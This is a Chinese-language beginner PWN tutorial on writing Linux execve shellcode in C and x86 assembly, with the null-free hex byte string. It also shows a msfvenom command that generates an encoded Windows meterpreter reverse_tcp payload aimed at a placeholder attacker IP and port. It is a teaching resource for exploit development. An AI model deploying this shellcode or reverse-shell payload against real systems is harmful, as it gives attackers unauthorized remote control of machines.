PWN 菜雞入門之 shellcode編寫 及exploid-db用法示例
下面我將參考其他資料來一步步示範shellcode的幾種編寫方式
0x01 系統調用
通過系統調用execve函數返回shell
C語言實現:
#include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }
execve函數在父進程中fork一個子進程,在子進程中調用exec函數啟動新的程序。execve()用來執行第一參數字符串所代表的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,並且需要以空指針(NULL)結束,最後一個參數則為傳遞給執行文件的新環境變量數組。從程序中可以看出,如果通過C語言調用execve來返回shell的話,首先需要引入相應的頭文件,然後在主函數中調用系統調用函數execve;同時傳入三個參數。
編譯運行,獲得shell:
elvirangel@elvirangel-virtual-machine:~/DIY$ ./shellcode
$ whoami
elvirangel
示例:
0x02 匯編形式編寫shellcode
32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢
Int 0x80軟中斷
int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數
開始編寫shellcode
global _start _start: mov eax,0; mov edx,0; push edx push "/sh" push "/bin"; mov ebx,esp; xor eax,eax mov al,0Bh; int 80h
可見有很多/x00,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的匯編程序
global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80ha
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
三、結合metasploit進行shellcode編寫
可以看到使用msfvenom 自動幫我們生成惡意的shellcode
-
其中的-a 代表 的是目標的架構 如:x86
-
platform 代表的是一個目標機的平臺 如: windows
-
那麽-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表這個 encoder編碼器,-b 表示去除硬編碼中的0x00代碼,因為0x00代表著結束的符號,所以我們不能讓他出現0x00這個代碼。
-
最後的 -i 和-f 分別代表的是iterations和format (叠代次數和格式)
那麽我們將其代碼重新改改,我們比如需要的功能是meterperter、指定ip和端口、指定shellcode 編碼格式如:c或者python等代碼
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊者IP地址 LPORT=攻擊者端口 -e x86/shikata_ga_nai -b ‘\x00‘ -i 叠代次數 -f c
-p去指定payload為 windows/meterpreter/reverse_tcp
LHOST 和LPORT 指定攻擊者ip和端口
-e指定x86/shikata_ga_nai 編碼器
-i 指定叠代為如 5次 或10次等
-f 指定輸出的格式 如c 代碼 、或者python等其他格式的代碼
-f參數可以參考msfvenom的幫助參數 查看-f的支持格式
隨機附上msf捆綁木馬教程:
PWN 菜雞入門之 shellcode編寫 及exploid-db用法示例